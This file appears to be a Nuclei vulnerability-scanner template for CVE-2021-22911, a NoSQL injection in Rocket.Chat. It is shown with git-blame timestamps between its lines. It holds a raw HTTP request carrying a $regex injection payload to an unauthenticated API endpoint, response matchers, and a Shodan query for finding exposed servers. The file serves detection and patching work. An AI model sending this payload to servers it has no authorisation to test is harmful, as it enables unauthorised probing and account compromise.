nuclei-templates/cves/2021/CVE-2021-22911.yaml

50 lines
1.6 KiB
YAML
Raw Normal View History

2022-09-22 18:11:28 +00:00
id: CVE-2021-22911
info:
name: RocketChat - NoSQL injection
2022-09-26 16:38:13 +00:00
author: tess,sullo
2022-09-22 18:11:28 +00:00
severity: critical
description: Rocket.Chat server versions 3.11, 3.12 and 3.1 allow unauthenticated access to an API endpoint which leads to NoSQL injection in the database.
reference:
- http://packetstormsecurity.com/files/162997/Rocket.Chat-3.12.1-NoSQL-Injection-Code-Execution.html
2022-09-26 16:38:13 +00:00
- https://github.com/vulhub/vulhub/tree/master/rocketchat/CVE-2021-22911
2022-09-22 18:11:28 +00:00
- https://hackerone.com/reports/1130721
2022-09-23 03:17:15 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-22911
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22911
2022-09-22 18:11:28 +00:00
- https://blog.sonarsource.com/nosql-injections-in-rocket-chat
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-22911
cwe-id: CWE-89
metadata:
shodan-query: http.title:"Rocket.Chat"
verified: "true"
tags: rocketchat,nosqli,packetstorm,vulhub,hackerone,cve,cve2021
2022-09-23 03:17:15 +00:00
2022-09-22 18:11:28 +00:00
requests:
- raw:
- |-
POST /api/v1/method.callAnon/getPasswordPolicy HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
2022-09-26 16:38:13 +00:00
{"message": "{\"msg\":\"method\", \"method\": \"getPasswordPolicy\", \"params\": [{\"token\": {\"$regex\": \"^{{randstr}}\"}}] }"}
2022-09-22 18:11:28 +00:00
matchers-condition: and
matchers:
- type: word
part: body
words:
2022-09-23 03:17:15 +00:00
- '[error-invalid-user]'
2022-09-23 03:13:42 +00:00
- '"success":true'
condition: and
2022-09-22 18:11:28 +00:00
2022-09-26 16:38:13 +00:00
- type: word
part: header
words:
- application/json
2022-09-22 18:11:28 +00:00
- type: status
status:
2022-09-23 03:13:42 +00:00
- 200